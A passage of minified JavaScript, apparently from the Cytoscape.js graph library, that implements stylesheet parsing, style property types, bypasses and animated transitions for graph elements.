e(t){return-128<t&&t<128&&Math.floor(t)!==t?p-(t*1024|0):t};for(var y=0;y<n.length;y++){var m=n[y];var b=u[m];if(b==null){continue}var x=this.properties[m];var w=x.type;var E=x.groupKey;var _=void 0;if(x.hashOverride!=null){_=x.hashOverride(e,b)}else if(b.pfValue!=null){_=b.pfValue}var k=x.enums==null?b.value:null;var S=_!=null;var C=k!=null;var D=S||C;var T=b.units;if(w.number&&D&&!w.multiple){var P=S?_:k;d(g(P),E);if(!S&&T!=null){h(T,E)}}else{h(b.strValue,E)}}var M=[be,we];for(var I=0;I<a.length;I++){var O=a[I];var N=t.styleKeys[O];M[0]=_e(N[0],M[0]);M[1]=ke(N[1],M[1])}t.styleKey=Se(M[0],M[1]);var z=t.styleKeys;t.labelDimsKey=Ce(z.labelDimensions);var A=i(e,["label"],z.labelDimensions);t.labelKey=Ce(A);t.labelStyleKey=Ce(De(z.commonLabel,A));if(!s){var L=i(e,["source-label"],z.labelDimensions);t.sourceLabelKey=Ce(L);t.sourceLabelStyleKey=Ce(De(z.commonLabel,L));var B=i(e,["target-label"],z.labelDimensions);t.targetLabelKey=Ce(B);t.targetLabelStyleKey=Ce(De(z.commonLabel,B))}if(s){var j=t.styleKeys,R=j.nodeBody,F=j.nodeBorder,V=j.backgroundImage,q=j.compound,G=j.pie;var Y=[R,F,V,q,G].filter((function(e){return e!=null})).reduce(De,[be,we]);t.nodeKey=Ce(Y);t.hasPie=G!=null&&G[0]!==be&&G[1]!==we}return o!==t.styleKey};Zo.clearStyleHints=function(e){var t=e._private;t.styleCxtKey="";t.styleKeys={};t.styleKey=null;t.labelKey=null;t.labelStyleKey=null;t.sourceLabelKey=null;t.sourceLabelStyleKey=null;t.targetLabelKey=null;t.targetLabelStyleKey=null;t.nodeKey=null;t.hasPie=null};Zo.applyParsedProperty=function(e,t){var r=this;var n=t;var a=e._private.style;var i;var o=r.types;var s=r.properties[n.name].type;var u=n.bypass;var l=a[n.name];var f=l&&l.bypass;var c=e._private;var v="mapping";var d=function e(t){if(t==null){return null}else if(t.pfValue!=null){return t.pfValue}else{return t.value}};var h=function t(){var a=d(l);var i=d(n);r.checkTriggers(e,n.name,a,i)};if(n&&n.name.substr(0,3)==="pie"){qe("The pie style properties are deprecated.  Create charts using background images instead.")}if(t.name==="curve-style"&&e.isEdge()&&(t.value!=="bezier"&&e.isLoop()||t.value==="haystack"&&(e.source().isParent()||e.target().isParent()))){n=t=this.parse(t.name,"bezier",u)}if(n["delete"]){a[n.name]=undefined;h();return true}if(n.deleteBypassed){if(!l){h();return true}else if(l.bypass){l.bypassed=undefined;h();return true}else{return false}}if(n.deleteBypass){if(!l){h();return true}else if(l.bypass){a[n.name]=l.bypassed;h();return true}else{return false}}var p=function t(){qe("Do not assign mappings to elements without corresponding data (i.e. ele `"+e.id()+"` has no mapping for property `"+n.name+"` with data field `"+n.field+"`); try a `["+n.field+"]` selector to limit scope to elements with `"+n.field+"` defined")};switch(n.mapped){case o.mapData:{var g=n.field.split(".");var y=c.data;for(var m=0;m<g.length&&y;m++){var b=g[m];y=y[b]}if(y==null){p();return false}var x;if(!I(y)){qe("Do not use continuous mappers without specifying numeric data (i.e. `"+n.field+": "+y+"` for `"+e.id()+"` is non-numeric)");return false}else{var w=n.fieldMax-n.fieldMin;if(w===0){x=0}else{x=(y-n.fieldMin)/w}}if(x<0){x=0}else if(x>1){x=1}if(s.color){var E=n.valueMin[0];var _=n.valueMax[0];var k=n.valueMin[1];var S=n.valueMax[1];var C=n.valueMin[2];var D=n.valueMax[2];var T=n.valueMin[3]==null?1:n.valueMin[3];var P=n.valueMax[3]==null?1:n.valueMax[3];var M=[Math.round(E+(_-E)*x),Math.round(k+(S-k)*x),Math.round(C+(D-C)*x),Math.round(T+(P-T)*x)];i={bypass:n.bypass,name:n.name,value:M,strValue:"rgb("+M[0]+", "+M[1]+", "+M[2]+")"}}else if(s.number){var O=n.valueMin+(n.valueMax-n.valueMin)*x;i=this.parse(n.name,O,n.bypass,v)}else{return false}if(!i){p();return false}i.mapping=n;n=i;break}case o.data:{var N=n.field.split(".");var z=c.data;for(var A=0;A<N.length&&z;A++){var L=N[A];z=z[L]}if(z!=null){i=this.parse(n.name,z,n.bypass,v)}if(!i){p();return false}i.mapping=n;n=i;break}case o.fn:{var B=n.value;var j=n.fnValue!=null?n.fnValue:B(e);n.prevFnValue=j;if(j==null){qe("Custom function mappers may not return null (i.e. `"+n.name+"` for ele `"+e.id()+"` is null)");return false}i=this.parse(n.name,j,n.bypass,v);if(!i){qe("Custom function mappers may not return invalid values for the property type (i.e. `"+n.name+"` for ele `"+e.id()+"` is invalid)");return false}i.mapping=Ye(n);n=i;break}case undefined:break;default:return false}if(u){if(f){n.bypassed=l.bypassed}else{n.bypassed=l}a[n.name]=n}else{if(f){l.bypassed=n}else{a[n.name]=n}}h();return true};Zo.cleanElements=function(e,t){for(var r=0;r<e.length;r++){var n=e[r];this.clearStyleHints(n);n.dirtyCompoundBoundsCache();n.dirtyBoundingBoxCache();if(!t){n._private.style={}}else{var a=n._private.style;var i=Object.keys(a);for(var o=0;o<i.length;o++){var s=i[o];var u=a[s];if(u!=null){if(u.bypass){u.bypassed=null}else{a[s]=null}}}}}};Zo.update=function(){var e=this._private.cy;var t=e.mutableElements();t.updateStyle()};Zo.updateTransitions=function(e,t){var r=this;var n=e._private;var a=e.pstyle("transition-property").value;var i=e.pstyle("transition-duration").pfValue;var o=e.pstyle("transition-delay").pfValue;if(a.length>0&&i>0){var s={};var u=false;for(var l=0;l<a.length;l++){var f=a[l];var c=e.pstyle(f);var v=t[f];if(!v){continue}var d=v.prev;var h=d;var p=v.next!=null?v.next:c;var g=false;var y=void 0;var m=1e-6;if(!h){continue}if(I(h.pfValue)&&I(p.pfValue)){g=p.pfValue-h.pfValue;y=h.pfValue+m*g}else if(I(h.value)&&I(p.value)){g=p.value-h.value;y=h.value+m*g}else if(T(h.value)&&T(p.value)){g=h.value[0]!==p.value[0]||h.value[1]!==p.value[1]||h.value[2]!==p.value[2];y=h.strValue}if(g){s[f]=p.strValue;this.applyBypass(e,f,y);u=true}}if(!u){return}n.transitioning=true;new na((function(t){if(o>0){e.delayAnimation(o).play().promise().then(t)}else{t()}})).then((function(){return e.animation({style:s,duration:i,easing:e.pstyle("transition-timing-function").value,queue:false}).play().promise()})).then((function(){r.removeBypasses(e,a);e.emitAndNotify("style");n.transitioning=false}))}else if(n.transitioning){this.removeBypasses(e,a);e.emitAndNotify("style");n.transitioning=false}};Zo.checkTrigger=function(e,t,r,n,a,i){var o=this.properties[t];var s=a(o);if(s!=null&&s(r,n)){i(o)}};Zo.checkZOrderTrigger=function(e,t,r,n){var a=this;this.checkTrigger(e,t,r,n,(function(e){return e.triggersZOrder}),(function(){a._private.cy.notify("zorder",e)}))};Zo.checkBoundsTrigger=function(e,t,r,n){this.checkTrigger(e,t,r,n,(function(e){return e.triggersBounds}),(function(a){e.dirtyCompoundBoundsCache();e.dirtyBoundingBoxCache();if(t==="curve-style"&&(r==="bezier"||n==="bezier")&&a.triggersBoundsOfParallelBeziers){e.parallelEdges().forEach((function(e){if(e.isBundledBezier()){e.dirtyBoundingBoxCache()}}))}}))};Zo.checkTriggers=function(e,t,r,n){e.dirtyStyleCache();this.checkZOrderTrigger(e,t,r,n);this.checkBoundsTrigger(e,t,r,n)};var es={};es.applyBypass=function(e,t,r,n){var a=this;var i=[];var o=true;if(t==="*"||t==="**"){if(r!==undefined){for(var s=0;s<a.properties.length;s++){var u=a.properties[s];var l=u.name;var f=this.parse(l,r,true);if(f){i.push(f)}}}}else if(C(t)){var c=this.parse(t,r,true);if(c){i.push(c)}}else if(P(t)){var v=t;n=r;var d=Object.keys(v);for(var h=0;h<d.length;h++){var p=d[h];var g=v[p];if(g===undefined){g=v[H(p)]}if(g!==undefined){var y=this.parse(p,g,true);if(y){i.push(y)}}}}else{return false}if(i.length===0){return false}var m=false;for(var b=0;b<e.length;b++){var x=e[b];var w={};var E=void 0;for(var _=0;_<i.length;_++){var k=i[_];if(n){var S=x.pstyle(k.name);E=w[k.name]={prev:S}}m=this.applyParsedProperty(x,Ye(k))||m;if(n){E.next=x.pstyle(k.name)}}if(m){this.updateStyleHints(x)}if(n){this.updateTransitions(x,w,o)}}return m};es.overrideBypass=function(e,t,r){t=W(t);for(var n=0;n<e.length;n++){var a=e[n];var i=a._private.style[t];var o=this.properties[t].type;var s=o.color;var u=o.mutiple;var l=!i?null:i.pfValue!=null?i.pfValue:i.value;if(!i||!i.bypass){this.applyBypass(a,t,r)}else{i.value=r;if(i.pfValue!=null){i.pfValue=r}if(s){i.strValue="rgb("+r.join(",")+")"}else if(u){i.strValue=r.join(" ")}else{i.strValue=""+r}this.updateStyleHints(a)}this.checkTriggers(a,t,l,r)}};es.removeAllBypasses=function(e,t){return this.removeBypasses(e,this.propertyNames,t)};es.removeBypasses=function(e,t,r){var n=true;for(var a=0;a<e.length;a++){var i=e[a];var o={};for(var s=0;s<t.length;s++){var u=t[s];var l=this.properties[u];var f=i.pstyle(l.name);if(!f||!f.bypass){continue}var c="";var v=this.parse(u,c,true);var d=o[l.name]={prev:f};this.applyParsedProperty(i,v);d.next=i.pstyle(l.name)}this.updateStyleHints(i);if(r){this.updateTransitions(i,o,n)}}};var ts={};ts.getEmSizeInPixels=function(){var e=this.containerCss("font-size");if(e!=null){return parseFloat(e)}else{return 1}};ts.containerCss=function(e){var t=this._private.cy;var r=t.container();if(m&&r&&m.getComputedStyle){return m.getComputedStyle(r).getPropertyValue(e)}};var rs={};rs.getRenderedStyle=function(e,t){if(t){return this.getStylePropertyValue(e,t,true)}else{return this.getRawStyle(e,true)}};rs.getRawStyle=function(e,t){var r=this;e=e[0];if(e){var n={};for(var a=0;a<r.properties.length;a++){var i=r.properties[a];var o=r.getStylePropertyValue(e,i.name,t);if(o!=null){n[i.name]=o;n[H(i.name)]=o}}return n}};rs.getIndexedStyle=function(e,t,r,n){var a=e.pstyle(t)[r][n];return a!=null?a:e.cy().style().getDefaultProperty(t)[r][0]};rs.getStylePropertyValue=function(e,t,r){var n=this;e=e[0];if(e){var a=n.properties[t];if(a.alias){a=a.pointsTo}var i=a.type;var o=e.pstyle(a.name);if(o){var s=o.value,u=o.units,l=o.strValue;if(r&&i.number&&s!=null&&I(s)){var f=e.cy().zoom();var c=function e(t){return t*f};var v=function e(t,r){return c(t)+r};var d=T(s);var h=d?u.every((function(e){return e!=null})):u!=null;if(h){if(d){return s.map((function(e,t){return v(e,u[t])})).join(" ")}else{return v(s,u)}}else{if(d){return s.map((function(e){return C(e)?e:""+c(e)})).join(" ")}else{return""+c(s)}}}else if(l!=null){return l}}return null}};rs.getAnimationStartStyle=function(e,t){var r={};for(var n=0;n<t.length;n++){var a=t[n];var i=a.name;var o=e.pstyle(i);if(o!==undefined){if(P(o)){o=this.parse(i,o.strValue)}else{o=this.parse(i,o)}}if(o){r[i]=o}}return r};rs.getPropsList=function(e){var t=this;var r=[];var n=e;var a=t.properties;if(n){var i=Object.keys(n);for(var o=0;o<i.length;o++){var s=i[o];var u=n[s];var l=a[s]||a[W(s)];var f=this.parse(l.name,u);if(f){r.push(f)}}}return r};rs.getNonDefaultPropertiesHash=function(e,t,r){var n=r.slice();var a,i,o,s;var u,l;for(u=0;u<t.length;u++){a=t[u];i=e.pstyle(a,false);if(i==null){continue}else if(i.pfValue!=null){n[0]=_e(s,n[0]);n[1]=ke(s,n[1])}else{o=i.strValue;for(l=0;l<o.length;l++){s=o.charCodeAt(l);n[0]=_e(s,n[0]);n[1]=ke(s,n[1])}}}return n};rs.getPropertiesHash=rs.getNonDefaultPropertiesHash;var ns={};ns.appendFromJson=function(e){var t=this;for(var r=0;r<e.length;r++){var n=e[r];var a=n.selector;var i=n.style||n.css;var o=Object.keys(i);t.selector(a);for(var s=0;s<o.length;s++){var u=o[s];var l=i[u];t.css(u,l)}}return t};ns.fromJson=function(e){var t=this;t.resetToDefault();t.appendFromJson(e);return t};ns.json=function(){var e=[];for(var t=this.defaultLength;t<this.length;t++){var r=this[t];var n=r.selector;var a=r.properties;var i={};for(var o=0;o<a.length;o++){var s=a[o];i[s.name]=s.strValue}e.push({selector:!n?"core":n.toString(),style:i})}return e};var as={};as.appendFromString=function(e){var t=this;var r=this;var n=""+e;var a;var i;var o;n=n.replace(/[/][*](\s|.)+?[*][/]/g,"");function s(){if(n.length>a.length){n=n.substr(a.length)}else{n=""}}function u(){if(i.length>o.length){i=i.substr(o.length)}else{i=""}}for(;;){var l=n.match(/^\s*$/);if(l){break}var f=n.match(/^\s*((?:.|\s)+?)\s*\{((?:.|\s)+?)\}/);if(!f){qe("Halting stylesheet parsing: String stylesheet contains more to parse but no selector and block found in: "+n);break}a=f[0];var c=f[1];if(c!=="core"){var v=new Ba(c);if(v.invalid){qe("Skipping parsing of block: Invalid selector found in string stylesheet: "+c);s();continue}}var d=f[2];var h=false;i=d;var p=[];for(;;){var g=i.match(/^\s*$/);if(g){break}var y=i.match(/^\s*(.+?)\s*:\s*(.+?)\s*;/);if(!y){qe("Skipping parsing of block: Invalid formatting of style property and value definitions found in:"+d);h=true;break}o=y[0];var m=y[1];var b=y[2];var x=t.properties[m];if(!x){qe("Skipping property: Invalid property name in: "+o);u();continue}var w=r.parse(m,b);if(!w){qe("Skipping property: Invalid property definition in: "+o);u();continue}p.push({name:m,val:b});u()}if(h){s();break}r.selector(c);for(var E=0;E<p.length;E++){var _=p[E];r.css(_.name,_.val)}s()}return r};as.fromString=function(e){var t=this;t.resetToDefault();t.appendFromString(e);return t};var is={};(function(){var e=$;var t=Q;var r=ee;var n=te;var a=re;var i=function e(t){return"^"+t+"\\s*\\(\\s*([\\w\\.]+)\\s*\\)$"};var o=function i(o){var s=e+"|\\w+|"+t+"|"+r+"|"+n+"|"+a;return"^"+o+"\\s*\\(([\\w\\.]+)\\s*\\,\\s*("+e+")\\s*\\,\\s*("+e+")\\s*,\\s*("+s+")\\s*\\,\\s*("+s+")\\)$"};var s=["^url\\s*\\(\\s*['\"]?(.+?)['\"]?\\s*\\)$","^(none)$","^(.+)$"];is.types={time:{number:true,min:0,units:"s|ms",implicitUnits:"ms"},percent:{number:true,min:0,max:100,units:"%",implicitUnits:"%"},percentages:{number:true,min:0,max:100,units:"%",implicitUnits:"%",multiple:true},zeroOneNumber:{number:true,min:0,max:1,unitless:true},zeroOneNumbers:{number:true,min:0,max:1,unitless:true,multiple:true},nOneOneNumber:{number:true,min:-1,max:1,unitless:true},nonNegativeInt:{number:true,min:0,integer:true,unitless:true},position:{enums:["parent","origin"]},nodeSize:{number:true,min:0,enums:["label"]},number:{number:true,unitless:true},numbers:{number:true,unitless:true,multiple:true},positiveNumber:{number:true,unitless:true,min:0,strictMin:true},size:{number:true,min:0},bidirectionalSize:{number:true},bidirectionalSizeMaybePercent:{number:true,allowPercent:true},bidirectionalSizes:{number:true,multiple:true},sizeMaybePercent:{number:true,min:0,allowPercent:true},axisDirection:{enums:["horizontal","leftward","rightward","vertical","upward","downward","auto"]},paddingRelativeTo:{enums:["width","height","average","min","max"]},bgWH:{number:true,min:0,allowPercent:true,enums:["auto"],multiple:true},bgPos:{number:true,allowPercent:true,multiple:true},bgRelativeTo:{enums:["inner","include-padding"],multiple:true},bgRepeat:{enums:["repeat","repeat-x","repeat-y","no-repeat"],multiple:true},bgFit:{enums:["none","contain","cover"],multiple:true},bgCrossOrigin:{enums:["anonymous","use-credentials"],multiple:true},bgClip:{enums:["none","node"],multiple:true},bgContainment:{enums:["inside","over"],multiple:true},color:{color:true},colors:{color:true,multiple:true},fill:{enums:["solid","linear-gradient","radial-gradient"]},bool:{enums:["yes","no"]},bools:{enums:["yes","no"],multiple:true},lineStyle:{enums:["solid","dotted","dashed"]},lineCap:{enums:["butt","round","square"]},borderStyle:{enums:["solid","dotted","dashed","double"]},curveStyle:{enums:["bezier","unbundled-bezier","haystack","segments","straight","straight-triangle","taxi"]},fontFamily:{regex:'^([\\w- \\"]+(?:\\s*,\\s*[\\w- \\"]+)*)$'},fontStyle:{enums:["italic","normal","oblique"]},fontWeight:{enums:["normal","bold","bolder","lighter","100","200","300","400","500","600","800","900",100,200,300,400,500,600,700,800,900]},textDecoration:{enums:["none","underline","overline","line-through"]},textTransform:{enums:["none","uppercase","lowercase"]},textWrap:{enums:["none","wrap","ellipsis"]},textOverflowWrap:{enums:["whitespace","anywhere"]},textBackgroundShape:{enums:["rectangle","roundrectangle","round-rectangle"]},nodeShape:{enums:["rectangle","roundrectangle","round-rectangle","cutrectangle","cut-rectangle","bottomroundrectangle","bottom-round-rectangle","barrel","ellipse","triangle","round-triangle","square","pentagon","round-pentagon","hexagon","round-hexagon","concavehexagon","concave-hexagon","heptagon","round-heptagon","octagon","round-octagon","tag","round-tag","star","diamond","round-diamond","vee","rhomboid","polygon"]},overlayShape:{enums:["roundrectangle","round-rectangle","ellipse"]},compoundIncludeLabels:{enums:["include","exclude"]},arrowShape:{enums:["tee","triangle","triangle-tee","circle-triangle","triangle-cross","triangle-backcurve","vee","square","circle","diamond","chevron","none"]},arrowFill:{enums:["filled","hollow"]},display:{enums:["element","none"]},visibility:{enums:["hidden","visible"]},zCompoundDepth:{enums:["bottom","orphan","auto","top"]},zIndexCompare:{enums:["auto","manual"]},valign:{enums:["top","center","bottom"]},halign:{enums:["left","center","right"]},justification:{enums:["left","center","right","auto"]},text:{string:true},data:{mapping:true,regex:i("data")},layoutData:{mapping:true,regex:i("layoutData")},scratch:{mapping:true,regex:i("scratch")},mapData:{mapping:true,regex:o("mapData")},mapLayoutData:{mapping:true,regex:o("mapLayoutData")},mapScratch:{mapping:true,regex:o("mapScratch")},fn:{mapping:true,fn:true},url:{regexes:s,singleRegexMatchValue:true},urls:{regexes:s,singleRegexMatchValue:true,multiple:true},propList:{propList:true},angle:{number:true,units:"deg|rad",implicitUnits:"rad"},textRotation:{number:true,units:"deg|rad",implicitUnits:"rad",enums:["none","autorotate"]},polygonPointList:{number:true,multiple:true,evenMultiple:true,min:-1,max:1,unitless:true},edgeDistances:{enums:["intersection","node-position"]},edgeEndpoint:{number:true,multiple:true,units:"%|px|em|deg|rad",implicitUnits:"px",enums:["inside-to-node","outside-to-node","outside-to-node-or-label","outside-to-line","outside-to-line-or-label"],singleEnum:true,validate:function e(t,r){switch(t.length){case 2:return r[0]!=="deg"&&r[0]!=="rad"&&r[1]!=="deg"&&r[1]!=="rad";case 1:return C(t[0])||r[0]==="deg"||r[0]==="rad";default:return false}}},easing:{regexes:["^(spring)\\s*\\(\\s*("+e+")\\s*,\\s*("+e+")\\s*\\)$","^(cubic-bezier)\\s*\\(\\s*("+e+")\\s*,\\s*("+e+")\\s*,\\s*("+e+")\\s*,\\s*("+e+")\\s*\\)$"],enums:["linear","ease","ease-in","ease-out","ease-in-out","ease-in-sine","ease-out-sine","ease-in-out-sine","ease-in-quad","ease-out-quad","ease-in-out-quad","ease-in-cubic","ease-out-cubic","ease-in-out-cubic","ease-in-quart","ease-out-quart","ease-in-out-quart","ease-in-quint","ease-out-quint","ease-in-out-quint","ease-in-expo","ease-out-expo","ease-in-out-expo","ease-in-circ","ease-out-circ","ease-in-out-circ"]},gradientDirection:{enums:["to-bottom","to-top","to-left","to-right","to-bottom-right","to-bottom-left","to-top-right","to-top-left","to-right-bottom","to-left-bottom","to-right-top","to-left-top"]},boundsExpansion:{number:true,multiple:true,min:0,validate:function e(t){var r=t.length;return r===1||r===2||r===4}}};var u={zeroNonZero:function e(t,r){if((t==null||r==null)&&t!==r){return true}if(t==0&&r!=0){return true}else if(t!=0&&r==0){return true}else{return false}},any:function e(t,r){return t!=r},emptyNonEmpty:function e(t,r){var n=F(t);var a=F(r);return n&&!a||!n&&a}};var l=is.types;var f=[{name:"label",type:l.text,triggersBounds:u.any,triggersZOrder:u.emptyNonEmpty},{name:"text-rotation",type:l.textRotation,triggersBounds:u.any},{name:"text-margin-x",type:l.bidirectionalSize,triggersBounds:u.any},{name:"text-margin-y",type:l.bidirectionalSize,triggersBounds:u.any}];var c=[{name:"source-label",type:l.text,triggersBounds:u.any},{name:"source-text-rotation",type:l.textRotation,triggersBounds:u.any},{name:"source-text-margin-x",type:l.bidirectionalSize,triggersBounds:u.any},{name:"source-text-margin-y",type:l.bidirectionalSize,triggersBounds:u.any},{name:"source-text-offset",type:l.size,triggersBounds:u.any}];var v=[{name:"target-label",type:l.text,triggersBounds:u.any},{name:"target-text-rotation",type:l.textRotation,triggersBounds:u.any},{name:"target-text-margin-x",type:l.bidirectionalSize,triggersBounds:u.any},{name:"target-text-margin-y",type:l.bidirectionalSize,triggersBounds:u.any},{name:"target-text-offset",type:l.size,triggersBounds:u.any}];var d=[{name:"font-family",type:l.fontFamily,triggersBounds:u.any},{name:"font-style",type:l.fontStyle,triggersBounds:u.any},{name:"font-weight",type:l.fontWeight,triggersBounds:u.any},{name:"font-size",type:l.size,triggersBounds:u.any},{name:"text-transform",type:l.textTransform,triggersBounds:u.any},{name:"text-wrap",type:l.textWrap,triggersBounds:u.any},{name:"text-overflow-wrap",type:l.textOverflowWrap,triggersBounds:u.any},{name:"text-max-width",type:l.size,triggersBounds:u.any},{name:"text-outline-width",type:l.size,triggersBounds:u.any},{name:"line-height",type:l.positiveNumber,triggersBounds:u.any}];var h=[{name:"text-valign",type:l.valign,triggersBounds:u.any},{name:"text-halign",type:l.halign,triggersBounds:u.any},{name:"color",type:l.color},{name:"text-outline-color",type:l.color},{name:"text-outline-opacity",type:l.zeroOneNumber},{name:"text-background-color",type:l.color},{name:"text-background-opacity",type:l.zeroOneNumber},{name:"text-background-padding",type:l.size,triggersBounds:u.any},{name:"text-border-opacity",type:l.zeroOneNumber},{name:"text-border-color",type:l.color},{name:"text-border-width",type:l.size,triggersBounds:u.any},{name:"text-border-style",type:l.borderStyle,triggersBounds:u.any},{name:"text-background-shape",type:l.textBackgroundShape,triggersBounds:u.any},{name:"text-justification",type:l.justification}];var p=[{name:"events",type:l.bool},{name:"text-events",type:l.bool}];var g=[{name:"display",type:l.display,triggersZOrder:u.any,triggersBounds:u.any,triggersBoundsOfParallelBeziers:true},{name:"visibility",type:l.visibility,triggersZOrder:u.any},{name:"opacity",type:l.zeroOneNumber,triggersZOrder:u.zeroNonZero},{name:"text-opacity",type:l.zeroOneNumber},{name:"min-zoomed-font-size",type:l.size},{name:"z-compound-depth",type:l.zCompoundDepth,triggersZOrder:u.any},{name:"z-index-compare",type:l.zIndexCompare,triggersZOrder:u.any},{name:"z-index",type:l.nonNegativeInt,triggersZOrder:u.any}];var y=[{name:"overlay-padding",type:l.size,triggersBounds:u.any},{name:"overlay-color",type:l.color},{name:"overlay-opacity",type:l.zeroOneNumber,triggersBounds:u.zeroNonZero},{name:"overlay-shape",type:l.overlayShape,triggersBounds:u.any}];var m=[{name:"underlay-padding",type:l.size,triggersBounds:u.any},{name:"underlay-color",type:l.color},{name:"underlay-opacity",type:l.zeroOneNumber,triggersBounds:u.zeroNonZero},{name:"underlay-shape",type:l.overlayShape,triggersBounds:u.any}];var b=[{name:"transition-property",type:l.propList},{name:"transition-duration",type:l.time},{name:"transition-delay",type:l.time},{name:"transition-timing-function",type:l.easing}];var x=function e(t,r){if(r.value==="label"){return-t.poolIndex()}else{return r.pfValue}};var w=[{name:"height",type:l.nodeSize,triggersBounds:u.any,hashOverride:x},{name:"width",type:l.nodeSize,triggersBounds:u.any,hashOverride:x},{name:"shape",type:l.nodeShape,triggersBounds:u.any},{name:"shape-polygon-points",type:l.polygonPointList,triggersBounds:u.any},{name:"background-color",type:l.color},{name:"background-fill",type:l.fill},{name:"background-opacity",type:l.zeroOneNumber},{name:"background-blacken",type:l.nOneOneNumber},{name:"background-gradient-stop-colors",type:l.colors},{name:"background-gradient-stop-positions",type:l.percentages},{name:"background-gradient-direction",type:l.gradientDirection},{name:"padding",type:l.sizeMaybePercent,triggersBounds:u.any},{name:"padding-relative-to",type:l.paddingRelativeTo,triggersBounds:u.any},{name:"bounds-expansion",type:l.boundsExpansion,triggersBounds:u.any}];var E=[{name:"border-color",type:l.color},{name:"border-opacity",type:l.zeroOneNumber},{name:"border-width",type:l.size,triggersBounds:u.any},{name:"border-style",type:l.borderStyle}];var _=[{name:"background-image",type:l.urls},{name:"background-image-crossorigin",type:l.bgCrossOrigin},{name:"background-image-opacity",type:l.zeroOneNumbers},{name:"background-image-containment",type:l.bgContainment},{name:"background-image-smoothing",type:l.bools},{name:"background-position-x",type:l.bgPos},{name:"background-position-y",type:l.bgPos},{name:"background-width-relative-to",type:l.bgRelativeTo},{name:"background-height-relative-to",type:l.bgRelativeTo},{name:"background-repeat",type:l.bgRepeat},{name:"background-fit",type:l.bgFit},{name:"background-clip",type:l.bgClip},{name:"background-width",type:l.bgWH},{name:"background-height",type:l.bgWH},{name:"background-offset-x",type:l.bgPos},{name:"background-offset-y",type:l.bgPos}];var k=[{name:"position",type:l.position,triggersBounds:u.any},{name:"compound-sizing-wrt-labels",type:l.compoundIncludeLabels,triggersBounds:u.any},{name:"min-width",type:l.size,triggersBounds:u.any},{name:"min-width-bias-left",type:l.sizeMaybePercent,triggersBounds:u.any},{name:"min-width-bias-right",type:l.sizeMaybePercent,triggersBounds:u.any},{name:"min-height",type:l.size,triggersBounds:u.any},{name:"min-height-bias-top",type:l.sizeMaybePercent,triggersBounds:u.any},{name:"min-height-bias-bottom",type:l.sizeMaybePercent,triggersBounds:u.any}];var S=[{name:"line-style",type:l.lineStyle},{name:"line-color",type:l.color},{name:"line-fill",type:l.fill},{name:"line-cap",type:l.lineCap},{name:"line-opacity",type:l.zeroOneNumber},{name:"line-dash-pattern",type:l.numbers},{name:"line-dash-offset",type:l.number},{name:"line-gradient-stop-colors",type:l.colors},{name:"line-gradient-stop-positions",type:l.percentages},{name:"curve-style",type:l.curveStyle,triggersBounds:u.any,triggersBoundsOfParallelBeziers:true},{name:"haystack-radius",type:l.zeroOneNumber,triggersBounds:u.any},{name:"source-endpoint",type:l.edgeEndpoint,triggersBounds:u.any},{name:"target-endpoint",type:l.edgeEndpoint,triggersBounds:u.any},{name:"control-point-step-size",type:l.size,triggersBounds:u.any},{name:"control-point-distances",type:l.bidirectionalSizes,triggersBounds:u.any},{name:"control-point-weights",type:l.numbers,triggersBounds:u.any},{name:"segment-distances",type:l.bidirectionalSizes,triggersBounds:u.any},{name:"segment-weights",type:l.numbers,triggersBounds:u.any},{name:"taxi-turn",type:l.bidirectionalSizeMaybePercent,triggersBounds:u.any},{name:"taxi-turn-min-distance",type:l.size,triggersBounds:u.any},{name:"taxi-direction",type:l.axisDirection,triggersBounds:u.any},{name:"edge-distances",type:l.edgeDistances,triggersBounds:u.any},{name:"arrow-scale",type:l.positiveNumber,triggersBounds:u.any},{name:"loop-direction",type:l.angle,triggersBounds:u.any},{name:"loop-sweep",type:l.angle,triggersBounds:u.any},{name:"source-distance-from-node",type:l.size,triggersBounds:u.any},{name:"target-distance-from-node",type:l.size,triggersBounds:u.any}];var D=[{name:"ghost",type:l.bool,triggersBounds:u.any},{name:"ghost-offset-x",type:l.bidirectionalSize,triggersBounds:u.any},{name:"ghost-offset-y",type:l.bidirectionalSize,triggersBounds:u.any},{name:"ghost-opacity",type:l.zeroOneNumber}];var T=[{name:"selection-box-color",type:l.color},{name:"selection-box-opacity",type:l.zeroOneNumber},{name:"selection-box-border-color",type:l.color},{name:"selection-box-border-width",type:l.size},{name:"active-bg-color",type:l.color},{name:"active-bg-opacity",type:l.zeroOneNumber},{name:"active-bg-size",type:l.size},{name:"outside-texture-bg-color",type:l.color},{name:"outside-texture-bg-opacity",type:l.zeroOneNumber}];var P=[];is.pieBackgroundN=16;P.push({name:"pie-size",type:l.sizeMaybePercent});for(var M=1;M<=is.pieBackgroundN;M++){P.push({name:"pie-"+M+"-background-color",type:l.color});P.push({name:"pie-"+M+"-background-size",type:l.percent});P.push({name:"pie-"+M+"-background-opacity",type:l.zeroOneNumber})}var I=[];var O=is.arrowPrefixes=["source","mid-source","target","mid-target"];[{name:"arrow-shape",type:l.arrowShape,triggersBounds:u.any},{name:"arrow-color",type:l.color},{name:"arrow-fill",type:l.arrowFill}].forEach((function(e){O.forEach((function(t){var r=t+"-"+e.name;var n=e.type,a=e.triggersBounds;I.push({name:r,type:n,triggersBounds:a})}))}),{});var N=is.properties=[].concat(p,b,g,y,m,D,h,d,f,c,v,w,E,_,P,k,S,I,T);var z=is.propertyGroups={behavior:p,transition:b,visibility:g,overlay:y,underlay:m,ghost:D,commonLabel:h,labelDimensions:d,mainLabel:f,sourceLabel:c,targetLabel:v,nodeBody:w,nodeBorder:E,backgroundImage:_,pie:P,compound:k,edgeLine:S,edgeArrow:I,core:T};var A=is.propertyGroupNames={};var L=is.propertyGroupKeys=Object.keys(z);L.forEach((function(e){A[e]=z[e].map((function(e){return e.name}));z[e].forEach((function(t){return t.groupKey=e}))}));var B=is.aliases=[{name:"content",pointsTo:"label"},{name:"control-point-distance",pointsTo:"control-point-distances"},{name:"control-point-weight",pointsTo:"control-point-weights"},{name:"edge-text-rotation",pointsTo:"text-rotation"},{name:"padding-left",pointsTo:"padding"},{name:"padding-right",pointsTo:"padding"},{name:"padding-top",pointsTo:"padding"},{name:"padding-bottom",pointsTo:"padding"}];is.propertyNames=N.map((function(e){return e.name}));for(var j=0;j<N.length;j++){var R=N[j];N[R.name]=R}for(var V=0;V<B.length;V++){var q=B[V];var G=N[q.pointsTo];var Y={name:q.name,alias:true,pointsTo:G};N.push(Y);N[q.name]=Y}})();is.getDefaultProperty=function(e){return this.getDefaultProperties()[e]};is.getDefaultProperties=function(){var e=this._private;if(e.defaultProperties!=null){return e.defaultProperties}var 